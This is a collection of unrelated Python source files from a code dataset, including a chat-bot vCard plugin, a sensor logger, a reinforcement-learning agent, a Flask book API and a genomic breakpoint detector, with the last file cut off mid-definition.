return\r\n vcard_set_(db)\r\n reply(t, s, u'ok')\r\n return\r\n if not p.count(' '):\r\n return\r\n if not p.split()[0].upper() in VC.keys():\r\n reply(t, s, u'Доступны ключи '+', '.join(VC.keys()))\r\n return\r\n db[p.split()[0].upper()] = ' '.join(p.split()[1:])\r\n write_file(file, str(db))\r\n reply(t, s, u'Сохранено. Чтобы изменения вступили в силу наберите botvc update')\r\n\r\nregister_command_handler(hnd_vcard_edit, 'botvc', ['все'], 100, 'Редактор визитки бота глобально на всех активных jid-ах. Доступны ключи для редактирования: DESC, URL, NICKNAME, TITLE, ORGNAME. Без параметров отобразит изменения в базе.', 'botvc ', ['botvc nickname buster+'])\r\n\r\ndef vcard_set_(dict):\r\n FIRST = {'ORGNAME':'ORG'}\r\n for x in CLIENTS.keys():\r\n iq = IQ(CLIENTS[x], 'set')\r\n vcard = iq.addElement('vCard', 'vcard-temp')\r\n if os.path.exists('vc.jpg') and os.path.getsize('vc.jpg')<=60000:\r\n img = base64.encodestring(open(\"vc.jpg\",\"rb\").read())\r\n photo = vcard.addElement('PHOTO')\r\n photo.addElement('BINVAL', content = img)\r\n photo.addElement('TYPE', content = 'image/jpeg')\r\n for c in dict:\r\n if c in FIRST.keys():\r\n el = vcard.addElement(FIRST[c])\r\n el.addElement(c, content = dict[c])\r\n else:\r\n el = vcard.addElement(c, content = dict[c])\r\n reactor.callFromThread(iq.send, x)\r\n\r\n\r\n","sub_path":"plugins/vcard.py","file_name":"vcard.py","file_ext":"py","file_size_in_byte":5179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"402277610","text":"\"\"\"\np次元の説明変数について、マハラノビスの距離を算出する関数を定義する\n引数としては、次の三つを取ることを考える\n p個の説明変数のi番目の変数の一次元array array([xi1, xi2, ... xip])\n p個の変数名(DataFrameの列名)を要素にもつリスト\n 元となるdf\n返り値はスカラーである\n\"\"\"\nimport numpy as np\nimport pandas as pd\n\ndef calc_mahalanobis_distance(var_arr, col_lis, df):\n \n # 共分散行列の計算\n covar = df[col_lis].cov()\n # 逆行列の計算\n invcv = np.linalg.inv(covar)\n # 各列の平均ベクトル\n m_arr = np.array([df[c].mean() for c in col_lis])\n # 偏差ベクトル\n d = var_arr - m_arr\n # マハラノビス距離の二乗\n Dsq = np.dot(d.T, np.dot(invcv, d))\n return np.sqrt(Dsq)\n\n","sub_path":"Multiple-Regression/Mahalanobis Distance.py","file_name":"Mahalanobis Distance.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"484865639","text":"import sys\n\nimport time\nfrom decimal import Decimal\nimport random\nimport datetime\nimport sqlite3\nimport Adafruit_DHT\n\nconn = sqlite3.connect('Home_Automation.db')\nc = conn.cursor()\n\nlocal = \"Anders Bedroom\"\nts = 0\npin = 4\n\n\nsensor = Adafruit_DHT.DHT22\n##\n\nunix = time.time()\ndate = str(datetime.datetime.fromtimestamp(unix).strftime('%Y-%m-%d %H:%M:%S'))\n\n\ndef Monitor_Anders_Bedroom_Condition(temp, humidity):\n ## variable correction, conversion\n temp = temp* 9/5.0 +32\n #temp = Decimal(temp) \n #humidity = Decimal(humidity)\n temp= round(temp,2) \n humidity= round(humidity, 2)\n unix = time.time()\n date = str(datetime.datetime.fromtimestamp(unix).strftime('%Y-%m-%d %H:%M:%S'))\n \n ## BLUE\n if temp in range(70, 75) and humidity > 70:\n status = \"BLUE\"\n BreakHourInterval = 6\n elif temp <= 80 and humidity <= 80:\n status = \"BLUE\"\n BreakHourInterval = 8\n \n c.execute(\"INSERT INTO Anders_Room_Temp (unix, datestamp, local, status, temp, humid) VALUES (?, ?, ?, ?, ?, ?)\",\n (unix, date, local, status, temp, humidity))\n conn.commit()\n print(status)\n print(\"Temp: \", temp)\n print(\"Humidity: \", humidity)\n print(\"@: \", date, \" Pacific Std\")\n print(\"\")\n \ntry: \n while True:\n humidity, temp = Adafruit_DHT.read_retry(sensor, pin)\n Monitor_Anders_Bedroom_Condition(temp, humidity)\n time.sleep(60)\nexcept KeyboardInterrupt:\n pass\n##\n##while True:\n## print(\" The temp is: \",temp, \" and humidity is: \", humidity)\n## print(ts, \" \", i)\n## time.sleep()\n## print(\"\")","sub_path":"Bedroom_Temp.py","file_name":"Bedroom_Temp.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"557455830","text":"'''\nImplementation of Python 3 in built function str.split() which splits a string according to \nthe delimiter passed. By default it will split on \" \"(whitespace). \n'''\ndef split(string, delimiter = \" \") -> list:\n\tif not string:\n\t\treturn [string]\n\tresult = []\n\tstart = 0\n\tfor idx, ch in enumerate(string):\n\t\tif ch == delimiter:\n\t\t\tresult.append(string[start:idx])\n\t\t\tstart = idx + 1\n\tresult.append(string[start:idx+1])\n\tif start == 0:\n\t\treturn [string]\n\treturn result\n\nif __name__ == \"__main__\":\n\tprint(split(\"ab cd ef\"))\n\tprint(split(\"ax,cd\", \",\"))\n\t\n","sub_path":"python-split-function.py","file_name":"python-split-function.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"545106916","text":"\"\"\"Methods for reading system thermal information.\"\"\"\nimport selfdrive.messaging as messaging\n\ndef read_tz(x):\n with open(\"/sys/devices/virtual/thermal/thermal_zone%d/temp\" % x) as f:\n ret = max(0, int(f.read()))\n return ret\n\ndef read_thermal():\n dat = messaging.new_message()\n dat.init('thermal')\n dat.thermal.cpu0 = read_tz(5)\n dat.thermal.cpu1 = read_tz(7)\n dat.thermal.cpu2 = read_tz(10)\n dat.thermal.cpu3 = read_tz(12)\n dat.thermal.mem = read_tz(2)\n dat.thermal.gpu = read_tz(16)\n dat.thermal.bat = read_tz(29)\n return dat\n","sub_path":"selfdrive/thermal.py","file_name":"thermal.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"259571349","text":"import xml.etree.ElementTree\nimport os\nimport numpy as np\nimport pandas as pd\nimport time as t\n\ndef find_nearest(array,value):\n \"\"\"Takes an array of values and a value to compare it to, and returns the index of the array value closes to the comparison value.\"\"\"\n idx = (np.abs(array-value)).argmin()\n return idx\nt_1 = t.time()\n\n#define filepaths\npath_to_features='./data/signals/gemaps_features_50ms/'\npath_to_annotations='./data/maptaskv2-1/Data/timed-units/'\npath_to_extracted_annotations='./data/extracted_annotations/voice_activity/'\nfiles_feature_list = os.listdir(path_to_features)\n\n#instantiate lists\nfiles_annotation_list = list()\nfiles_output_list = list()\n\n#check if directory to store annotations exists. If not, create it.\nif not(os.path.exists(path_to_extracted_annotations)):\n os.makedirs(path_to_extracted_annotations)\n \n#create 2 lists: xml file names for each feature file's time annotations, csv files for each feature file\nfor file in files_feature_list:\n base_name = os.path.basename(file)\n files_annotation_list.append(os.path.splitext(base_name)[0]+'.timed-units.xml')\n files_output_list.append(os.path.splitext(base_name)[0]+'.csv')\n\nfor i in range(0,len(files_feature_list)):\n #create array with 1 column of frame times features from csv\n frame_times=np.array(pd.read_csv(path_to_features+files_feature_list[i],delimiter=',',usecols = [1])['frameTime'])\n #create empty array with 1 row for each frame\n voice_activity = np.zeros((len(frame_times),))\n #get the set of instances of features for each file\n e = xml.etree.ElementTree.parse(path_to_annotations+files_annotation_list[i]).getroot()\n\n annotation_data = []\n \n for atype in e.findall('tu'):\n #create a list of all start and end (indices, times?) instances of feature 'tu' (which means...someone speaking?)\n annotation_data.append((float(atype.get('start')), float(atype.get('end'))))\n \n # Remove any detections less than 90ms as per ref above\n indx = 1\n less_than_25 = 0\n while indx < len(annotation_data):\n if annotation_data[indx][1]-annotation_data[indx][0] < 0.025:\n annotation_data.pop(indx)\n less_than_25 += 1\n else:\n indx += 1\n \n # Find frames that contain voice activity for at least 50% of their duration (25ms)\n for strt_f,end_f in annotation_data:\n start_indx = find_nearest(frame_times,strt_f)\n end_indx = find_nearest(frame_times,end_f) - 1\n voice_activity[start_indx:end_indx+1]=1 \n \n output = pd.DataFrame([frame_times,voice_activity])\n output=np.transpose(output)\n output.columns = ['frameTimes','val']\n # uncomment this!!\n output.to_csv(path_to_extracted_annotations+files_output_list[i], float_format = '%.6f', sep=',', index=False,header=True)\n \nprint('total_time: '+str(t.time()-t_1))\n#print('merge count: '+str(merge_count))\nprint('less than 25 count:'+ str(less_than_25))\n","sub_path":"scripts/get_VA_annotations.py","file_name":"get_VA_annotations.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"268567824","text":"# import pytorch as torch\nimport random\nfrom collections import deque\nimport numpy as np\n# import cv2\nimport os\nimport random\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.optim.lr_scheduler import StepLR\nfrom torch.autograd import Variable\nfrom torch.utils.data import Dataset, DataLoader\nfrom utilities.X_net import X_net\nimport math\n\nglob_loss = []\nclass QDataset(Dataset):\n def __init__(self, x, y):\n s = os.getcwd()\n self.x = x\n self.y = y\n # self.x=np.load(type+\"_data.npy\", allow_pickle=True)\n # self.y=np.load(type+'_label.npy',allow_pickle=True)\n self.x = torch.from_numpy(self.x).float()\n self.y = torch.from_numpy(self.y).float()\n\n def __getitem__(self, index):\n return self.x[index], self.y[index]\n\n def __len__(self):\n return self.x.shape[0]\n\n\n# Convert list of actions to form (action,target)\ndef convert_from_dict(list_of_actions):\n l = []\n for key in list_of_actions.keys():\n if (key < 3):\n for pos in list_of_actions[key]:\n l.append((key, pos))\n\n else:\n for i in list_of_actions.keys():\n if (i == 4):\n break\n for pos in list_of_actions[i]:\n l.append((4, i, pos))\n\n return l\n\n\nclass DQN_Agent():\n\n def __init__(self,lr=1):\n self.learning_rate = lr\n self.loss = []\n self.epsilon = 0.9\n self.epoch = 1\n self.no_of_games = 8000 # Not sure if we need this\n self.epsilon_decay = (self.epsilon - 0.01) / (self.no_of_games)\n self.batch_size = 32\n self.model = self.build_model()\n self.input_size = 1000 # TODO: We will update this\n # Each element of memory is ([state,action],next_state,reward) format.\n # By [state,action] we mean feature vector. next_state can be an instance of game (deepcopy)\n self.memory = deque(maxlen=1000)\n self.gamma = 1 # We can try multiple values if possible i.e\n self.optimizer = optim.Adadelta(self.model.parameters(), lr=self.learning_rate)\n self.scheduler = StepLR(self.optimizer, step_size=1, gamma=1)\n self.no_cuda = True\n self.use_cuda = not self.no_cuda and torch.cuda.is_available()\n self.device = torch.device(\"cuda\" if self.use_cuda else \"cpu\")\n self.kwargs = {'num_workers': 0, 'pin_memory': True} if self.use_cuda else {}\n\n def build_model(self):\n model = X_net()\n return model\n\n def add_to_memory(self, state_action, next_state, reward):\n self.memory.append((state_action, next_state, reward))\n\n return\n\n # Chooses next step , accounting for exploitation vs exploration\n def train_action(self, game, type=\"x\"):\n rand = random.uniform(0, 1)\n if (rand < self.epsilon):\n action = game.list_of_action_x()\n if (action is None):\n return\n else:\n list_act = convert_from_dict(action)\n act = random.sample(list_act, 1)[0]\n\n return act\n\n else:\n #print(\"Exploitation ... \")\n (act, _) = self.best_action(game, type)\n return act\n\n def best_action(self, game, type=\"x\"):\n # TODO : Change Here\n max_reward = -100\n act = None\n action = game.list_of_action_x()\n list_act = convert_from_dict(action)\n\n for act_tar in list_act:\n # TODO:Shaurya will Implement this\n feature = game.f_x_action(act_tar)\n # TODO:Ayush Make this correct\n feature_tensor = torch.from_numpy(feature)\n val = self.model.forward(feature_tensor.float()).detach().numpy()[0][0]\n\n if (val > max_reward):\n max_reward = val\n act = act_tar\n\n return (act, max_reward)\n\n def replay(self):\n mini_batch = random.sample(self.memory, self.batch_size)\n x = []\n y = []\n for (state_action, next_state, reward) in mini_batch:\n if (next_state.end_flag):\n target = next_state.X_reward\n else:\n _, max_rew = self.best_action(next_state, type)\n target = reward + self.gamma * max_rew\n x.append(state_action)\n y.append(target)\n x = np.asarray(x)\n y = np.asarray(y)\n # Assuming I have x,y np arrays with test data\n data = torch.utils.data.DataLoader(QDataset(x, y), batch_size=y.size, shuffle=True, **self.kwargs)\n # TODO : Ayush (.fit trains the file)\n self.loss.append(train(1, self.model, self.device, data, self.optimizer, self.epoch))\n self.epoch += 1\n self.epsilon -= self.epsilon*self.epsilon_decay\n print(\"Exploration : \",self.epsilon)\n\n # TODO: Save and load to self.model\n\n def save_model(self, path):\n torch.save(self.model,path)\n return None\n\n def load_model(self, path):\n self.model = torch.load(path)\n print(\"Load Success\")\n return None\n\ndef train(log_interval, model, device, train_loader, optimizer, epoch):\n model.train()\n for batch_idx, (data, target) in enumerate(train_loader):\n data, target = data.to(device), target.to(device)\n optimizer.zero_grad()\n output = model(data)\n target = target.view(-1, 1, 1)\n\n loss = F.mse_loss(output, target)\n loss.backward()\n optimizer.step()\n if batch_idx % log_interval == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n epoch, batch_idx * len(data), len(train_loader.dataset),\n 100. * batch_idx / len(train_loader), loss.item()))\n return loss.item()\n\n\ndef test(model, device, test_loader):\n\n model.eval()\n test_loss = 0\n with torch.no_grad():\n for data, target in test_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n test_loss += F.mse_loss(output, target, reduction='sum').item() # sum up batch loss\n\n test_loss /= len(test_loader.dataset)\n","sub_path":"utilities/DQN_Agent.py","file_name":"DQN_Agent.py","file_ext":"py","file_size_in_byte":6160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"422810288","text":"from flask import Flask, jsonify, request\nfrom flask_sqlalchemy import SQLAlchemy\nimport constants\nimport messages\n\nAPI_VERSION = '/v1'\nBASE_URL = API_VERSION + '/api/'\n\napp = Flask(__name__)\n\n#\n# DB configuration\n#\nlocal_db_url = 'mysql+pymysql://' + constants.USERNAME + ':' + constants.PASSWORD + '@' + constants.HOST + '/' + constants.DB_NAME\napp.config['SQLALCHEMY_DATABASE_URI'] = local_db_url\ndb = SQLAlchemy(app)\n\n#\n# Book model \n# \nclass Book(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n book_name = db.Column(db.String(45), nullable=False)\n author_name = db.Column(db.String(45), nullable=True)\n book_description = db.Column(db.String(100), nullable=True)\n\n def __init__(self, book_name, author_name, book_description):\n self.book_name = book_name\n self.author_name = author_name\n self.book_description = book_description\n\n#\n# Create book API \n# \n@app.route(BASE_URL + 'book/create', methods=['POST'])\ndef createBook():\n status = 500\n message = messages.INTERNAL_SERVER_ERROR\n \n try:\n data = request.get_json()\n if 'book_name' not in data or not data['book_name']:\n message = 'Book name is required'\n status = 400\n return jsonify({'message': message}), status\n\n book_name = data['book_name']\n author_name = data['author_name']\n book_description = data['book_description']\n book= Book(book_name=book_name, author_name=author_name, book_description=book_description)\n db.session.add(book)\n db.session.commit()\n message = messages.SUCCESS\n status = 200\n except Exception as error:\n db.session.rollback()\n print(error)\n return jsonify({'message': message}), status\n\n#\n# Get all books \n# \n@app.route(BASE_URL + 'book/all', methods=['GET'])\ndef getAll():\n status = 500\n message = messages.INTERNAL_SERVER_ERROR\n \n try:\n books = Book.query.all()\n arr = []\n for a in books:\n book = {}\n book['id'] = a.id\n book['book_name'] = a.book_name\n book['author_name'] = a.author_name\n book['book_description'] = a.book_description\n arr.append(book)\n return jsonify({'books': arr}), 200\n except Exception as error:\n print(error)\n message = error\n return jsonify({'message': message}), status\n\n#\n# Update book API \n# \n@app.route(BASE_URL + 'book/update', methods=['PUT'])\ndef updateBook():\n status = 500\n message = messages.INTERNAL_SERVER_ERROR\n \n try:\n data = request.get_json()\n if 'id' not in data or not data['id']:\n message = 'Book not found'\n status = 400\n return jsonify({'message': message}), status\n\n if 'book_name' not in data or not data['book_name']:\n message = 'Book name is required'\n status = 400\n return jsonify({'message': message}), status\n\n aBook = getBookById(data['id'])\n if aBook == None:\n message = messages.NOT_FOUND\n status = 400\n return jsonify({'message': message}), status\n else:\n aBook.book_name = data['book_name']\n aBook.author_name = data['author_name']\n aBook.book_description = data['book_description']\n db.session.commit()\n message = messages.UPDATE\n status = 200\n return jsonify({'message': message}), status\n except Exception as error:\n db.session.rollback()\n print(error)\n return jsonify({'message': message}), status\n\n#\n# Get by book id endpoint \n# \n@app.route(BASE_URL + 'book/', methods=['GET'])\ndef getById(id):\n status = 500\n message = messages.INTERNAL_SERVER_ERROR\n \n try:\n aBook = getBookById(id)\n if aBook == None:\n message = messages.NOT_FOUND\n status = 400\n return jsonify({'message': message}), status\n \n book = {}\n book['id'] = aBook.id\n book['book_name'] = aBook.book_name\n book['author_name'] = aBook.author_name\n book['book_description'] = aBook.book_description\n return jsonify(book), 200 \n\n except Exception as error:\n print(error)\n message = error\n return jsonify({'message': message}), status\n\n#\n# Delete Book endpoint\n#\n@app.route(BASE_URL + 'book/', methods=['DELETE'])\ndef deleteBook(id):\n status = 500\n message = messages.INTERNAL_SERVER_ERROR\n \n try:\n aBook = getBookById(id)\n if aBook == None:\n message = messages.NOT_FOUND\n status = 400\n return jsonify({'message': message}), status\n\n db.session.delete(aBook)\n db.session.commit()\n message = messages.DELETE\n status = 200\n return jsonify({'message': message}), status\n except Exception as error:\n db.session.rollback()\n print(error)\n message = error\n return jsonify({'message': message}), status\n\n#\n# Common function for getting a book by id \n# \ndef getBookById(id):\n try:\n book= Book.query.filter_by(id=id).first()\n return book\n except Exception as error:\n return None\n\n\nif __name__ == \"__main__\":\n app.run(debug=True, host='0.0.0.0', port=5000)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"75243165","text":"#!/usr/bin/env python3\n\n\"\"\"\nThis script takes (phased) bam file as input, and outputs coordinates\nof tentative 2-breaks, in particular inversion coordinates\n\"\"\"\n\nimport sys\nimport re\nimport numpy as np\nimport math\nfrom copy import copy\nfrom collections import namedtuple, defaultdict\nimport pysam\nfrom multiprocessing import Pool\nimport random\nimport argparse\nimport os\n\n\nReadSegment = namedtuple(\"ReadSegment\", [\"read_start\", \"read_end\", \"ref_start\", \"ref_end\", \"read_id\", \"ref_id\",\n \"strand\", \"read_length\", \"haplotype\"])\n#ReadConnection = namedtuple(\"ReadConnection\", [\"ref_id\", \"position\", \"seg_1\", \"seg_2\", \"haplotype\"])\n\nclass ReadConnection(object):\n __slots__ = \"ref_id_1\", \"pos_1\", \"sign_1\", \"ref_id_2\", \"pos_2\", \"sign_2\", \"haplotype\"\n\n def __init__(self, ref_id_1, pos_1, sign_1, ref_id_2, pos_2, sign_2, haplotype):\n self.ref_id_1 = ref_id_1\n self.ref_id_2 = ref_id_2\n self.pos_1 = pos_1\n self.pos_2 = pos_2\n self.sign_1 = sign_1\n self.sign_2 = sign_2\n self.haplotype = haplotype\n\n def signed_coord_1(self):\n return self.sign_1 * self.pos_1\n\n def signed_coord_2(self):\n return self.sign_2 * self.pos_2\n\n\nclass Breakpoint(object):\n __slots__ = \"ref_id\", \"position\", \"spanning_reads\", \"connections\"\n\n def __init__(self, ref_id, ref_position):\n self.ref_id = ref_id\n self.position = ref_position\n self.spanning_reads = []\n self.connections =[]\n\n\nclass DoubleBreak(object):\n __slots__ = \"bp_1\", \"direction_1\", \"bp_2\", \"direction_2\", \"connections\"\n\n def __init__(self, bp_1, direction_1, bp_2, direction_2):\n self.bp_1 = bp_1\n self.bp_2 = bp_2\n self.direction_1 = direction_1\n self.direction_2 = direction_2\n self.connections = []\n\n def directional_coord_1(self):\n return self.direction_1 * self.bp_1.position\n\n def directional_coord_2(self):\n return self.direction_2 * self.bp_2.position\n #self.spanning_reads = []\n\ncigar_parser = re.compile(\"[0-9]+[MIDNSHP=X]\")\ndef get_segment(read_id, ref_id, ref_start, strand, cigar, haplotype):\n \"\"\"\n Parses cigar and generate ReadSegment structure with alignment coordinates\n \"\"\"\n first_clip = False\n read_start = 0\n read_aligned = 0\n read_length = 0\n ref_aligned = 0\n #read_end = 0\n\n for token in cigar_parser.findall(cigar):\n op = token[-1]\n op_len = int(token[:-1])\n\n if op == \"H\" or op == \"S\":\n if not first_clip:\n first_clip = True\n read_start = op_len\n read_length += op_len\n\n if op == \"M\" or op == \"=\" or op == \"X\":\n read_aligned += op_len\n ref_aligned += op_len\n read_length += op_len\n if op == \"D\":\n ref_aligned += op_len\n if op == \"I\":\n read_aligned += op_len\n read_length += op_len\n\n ref_end = ref_start + ref_aligned\n read_end = read_start + read_aligned\n\n if strand == \"-\":\n read_start, read_end = read_length - read_end, read_length - read_start\n\n return ReadSegment(read_start, read_end, ref_start, ref_end, read_id,\n ref_id, strand, read_length, haplotype)\n\n\ndef get_split_reads(bam_file, ref_id, inter_contig):\n \"\"\"\n Yields set of split reads for each contig separately. Only reads primary alignments\n and infers the split reads from SA alignment tag\n \"\"\"\n split_reads = []\n\n aln_file = pysam.AlignmentFile(bam_file, \"rb\")\n for aln in aln_file.fetch(ref_id, multiple_iterators=True):\n fields = aln.to_string().split()\n #fields = line.split()\n read_id, flags, chr_id, position = fields[0:4]\n cigar = fields[5]\n ref_id, ref_start = fields[2], int(fields[3])\n\n is_supplementary = int(flags) & 0x800\n is_secondary = int(flags) & 0x100\n is_unmapped = int(flags) & 0x4\n strand = \"-\" if int(flags) & 0x10 else \"+\"\n\n if is_supplementary or is_secondary or is_unmapped:\n continue\n\n sa_tag = None\n hp_tag = None\n for tag in fields[11:]:\n if tag.startswith(\"SA\"):\n sa_tag = tag[5:]\n if tag.startswith(\"HP\"):\n hp_tag = tag[5:]\n if not hp_tag:\n haplotype = 0\n else:\n haplotype = int(hp_tag)\n\n segments = []\n segments.append(get_segment(read_id, ref_id, ref_start, strand, cigar, haplotype))\n\n if sa_tag:\n for sa_aln in sa_tag.split(\";\"):\n if sa_aln:\n sa_fields = sa_aln.split(\",\")\n sa_ref, sa_ref_pos, sa_strand, sa_cigar = sa_fields[0], int(sa_fields[1]), sa_fields[2], sa_fields[3]\n\n if sa_ref == ref_id or inter_contig:\n segments.append(get_segment(read_id, sa_ref, sa_ref_pos, sa_strand, sa_cigar, haplotype))\n\n segments.sort(key=lambda s: s.read_start)\n split_reads.append(segments)\n\n return split_reads\n\ndef _unpacker(args):\n return get_split_reads(*args)\n\ndef get_all_reads_parallel(bam_file, num_threads, inter_contig):\n all_reference_ids = [r for r in pysam.AlignmentFile(bam_file, \"rb\").references]\n random.shuffle(all_reference_ids)\n tasks = [(bam_file, r, inter_contig) for r in all_reference_ids]\n\n fetched_reads = None\n with Pool(num_threads) as p:\n fetched_reads = p.map(_unpacker, tasks)\n\n all_reads = sum(fetched_reads, [])\n return all_reads\n\n\ndef resolve_overlaps(split_reads, min_ovlp_len):\n \"\"\"\n Some supplementary alignments may be overlapping (e.g. in case of inversions with flanking repeat).\n This function checks if the overlap has ok structe, trims and outputs non-overlapping alignments\n \"\"\"\n def _get_ovlp(seg_1, seg_2):\n max_ovlp_len = min(seg_1.read_end - seg_1.read_start, seg_2.read_end - seg_2.read_start) // 2\n if (seg_1.read_end - seg_2.read_start > min_ovlp_len and\n seg_1.read_end - seg_2.read_start < max_ovlp_len and\n seg_2.read_end > seg_1.read_end and\n seg_2.read_start > seg_1.read_start):\n\n return seg_1.read_end - seg_2.read_start\n else:\n return 0\n\n new_reads = []\n for read_segments in split_reads:\n upd_segments = []\n for i in range(len(read_segments)):\n left_ovlp = 0\n right_ovlp = 0\n if i > 0 and read_segments[i - 1].ref_id == read_segments[i].ref_id:\n left_ovlp = _get_ovlp(read_segments[i - 1], read_segments[i])\n if i < len(read_segments) - 1 and read_segments[i].ref_id == read_segments[i + 1].ref_id:\n right_ovlp = _get_ovlp(read_segments[i], read_segments[i + 1])\n\n left_ovlp = left_ovlp // 2\n right_ovlp = right_ovlp // 2\n seg = read_segments[i]\n\n if left_ovlp > 0:\n if seg.strand == \"+\":\n seg = seg._replace(read_start = seg.read_start + left_ovlp,\n ref_start = seg.ref_start + left_ovlp)\n else:\n seg = seg._replace(read_start = seg.read_start + left_ovlp,\n ref_end = seg.ref_end - left_ovlp)\n if right_ovlp > 0:\n if seg.strand == \"+\":\n seg = seg._replace(read_end = seg.read_end - right_ovlp,\n ref_end = seg.ref_end - right_ovlp)\n else:\n seg = seg._replace(read_end = seg.read_end - right_ovlp,\n ref_start = seg.ref_start + right_ovlp)\n\n upd_segments.append(seg)\n\n new_reads.append(upd_segments)\n\n return new_reads\n\n\ndef get_breakpoints(all_reads, split_reads, clust_len, min_reads, min_ref_flank, ref_lengths):\n \"\"\"\n Finds regular 1-sided breakpoints, where split reads consistently connect\n two different parts of the genome\n \"\"\"\n seq_breakpoints = defaultdict(list)\n for read_segments in split_reads:\n for s1, s2 in zip(read_segments[:-1], read_segments[1:]):\n if abs(s1.read_end - s2.read_start) < clust_len:\n #if s1.ref_id != s2.ref_id:\n # raise Exception(\"Inter-contig connection!\")\n\n ref_bp_1 = s1.ref_end if s1.strand == \"+\" else s1.ref_start\n ref_bp_2 = s2.ref_start if s2.strand == \"+\" else s2.ref_end\n\n sign_1 = 1 if s1.strand == \"+\" else -1\n sign_2 = -1 if s2.strand == \"+\" else 1\n #conn_1 = ref_bp_1 if s1.strand == \"+\" else -ref_bp_1\n #conn_2 = -ref_bp_2 if s2.strand == \"+\" else ref_bp_2\n\n #seq_breakpoints[s1.ref_id].append(ReadConnection(s1.ref_id, ref_bp_1, conn_1, conn_2, s1.haplotype))\n #seq_breakpoints[s2.ref_id].append(ReadConnection(s2.ref_id, ref_bp_2, conn_2, conn_1, s1.haplotype))\n\n seq_breakpoints[s1.ref_id].append(ReadConnection(s1.ref_id, ref_bp_1, sign_1, s2.ref_id, ref_bp_2, sign_2, s1.haplotype))\n seq_breakpoints[s2.ref_id].append(ReadConnection(s2.ref_id, ref_bp_2, sign_2, s1.ref_id, ref_bp_1, sign_1, s2.haplotype))\n\n bp_clusters = defaultdict(list)\n for seq, bp_pos in seq_breakpoints.items():\n clusters = []\n cur_cluster = []\n bp_pos.sort(key=lambda bp: bp.pos_1)\n\n for rc in bp_pos:\n if cur_cluster and rc.pos_1 - cur_cluster[-1].pos_1 > clust_len:\n clusters.append(cur_cluster)\n cur_cluster = [rc]\n else:\n cur_cluster.append(rc)\n if cur_cluster:\n clusters.append(cur_cluster)\n\n for cl in clusters:\n if len(cl) >= min_reads:\n position = int(np.median([x.pos_1 for x in cl]))\n if position > min_ref_flank and position < ref_lengths[seq] - min_ref_flank:\n bp_cluster = Breakpoint(seq, position)\n bp_cluster.connections = cl\n bp_clusters[seq].append(bp_cluster)\n\n #find reads that span putative breakpoints\n for read_segments in all_reads:\n for seg in read_segments:\n for bp in bp_clusters[seg.ref_id]:\n if bp.position - seg.ref_start > clust_len and seg.ref_end - bp.position > clust_len:\n bp.spanning_reads.append(seg)\n\n return bp_clusters\n\n\ndef get_2_breaks(bp_clusters, clust_len, min_connections):\n \"\"\"\n Matches one-sided breakpoints into 2-breaks, complementery pairs of one-sided breakpoints\n \"\"\"\n def _normalize_coord(coord, clusters):\n for cl in clusters:\n if abs(abs(coord) - cl.position) < clust_len:\n return int(math.copysign(1, coord)), cl\n return None, None\n\n #Breakpoints are clustered by a single reference coordinate.\n #Our goal here is to translate it into connections (defined for two directional reference coordinates)\n #and then find balanced breakes (2-breaks)\n\n double_breaks = []\n double_connections = defaultdict(list)\n for seq in bp_clusters:\n for cl in bp_clusters[seq]:\n for conn in cl.connections:\n #normalizing the coordinates of the original read, wrt to clustered breakpoint coordinates\n dir_1, bp_1 = _normalize_coord(conn.signed_coord_1(), bp_clusters[conn.ref_id_1])\n dir_2, bp_2 = _normalize_coord(conn.signed_coord_2(), bp_clusters[conn.ref_id_2])\n if None in [bp_1, bp_2]:\n continue\n\n #same breakpoint, just connected from two different sides\n if bp_1 == bp_2:\n continue\n\n if bp_2.position < bp_1.position:\n bp_1, bp_2 = bp_2, bp_1\n dir_1, dir_2 = dir_2, dir_1\n double_connections[(bp_1, dir_1, bp_2, dir_2)].append(conn)\n\n for (bp_1, dir_1, bp_2, dir_2), conn_list in double_connections.items():\n if len(conn_list) // 2 >= min_connections:\n double_breaks.append(DoubleBreak(bp_1, dir_1, bp_2, dir_2))\n double_breaks[-1].connections = conn_list\n\n double_breaks.sort(key=lambda b: (b.bp_1.ref_id, b.bp_1.position, b.direction_1))\n\n #find breakend pairs\n all_breakends = set()\n balanced_breaks = []\n for db in double_breaks:\n all_breakends.add(db.directional_coord_1())\n all_breakends.add(db.directional_coord_2())\n\n for db in double_breaks:\n if -db.directional_coord_1() in all_breakends and -db.directional_coord_2() in all_breakends:\n balanced_breaks.append(db)\n\n return double_breaks, balanced_breaks\n\n\ndef output_breaks(breaks, out_stream):\n header = \"#seq_id_1\\tpos_1\\tdirection_1\\tseq_id_2\\tposition_2\\tdirection_2\\thaplotype\\tsupporting_reads\\topposing_reads\"\n out_stream.write(header + \"\\n\")\n for br in breaks:\n by_hp = defaultdict(int)\n for conn in br.connections:\n by_hp[conn.haplotype] += 1\n max_hp = max(by_hp, key=by_hp.get)\n\n num_opposing = 0\n for r in br.bp_1.spanning_reads + br.bp_2.spanning_reads:\n if r.haplotype == max_hp:\n num_opposing += 1\n\n out_stream.write(\"\\t\".join([br.bp_1.ref_id, str(br.bp_1.position), \"+\" if br.direction_1 > 0 else \"-\",\n br.bp_2.ref_id, str(br.bp_2.position), \"+\" if br.direction_2 > 0 else \"-\",\n str(max_hp), str(by_hp[max_hp] // 2), str(num_opposing)]) + \"\\n\")\n\n\ndef 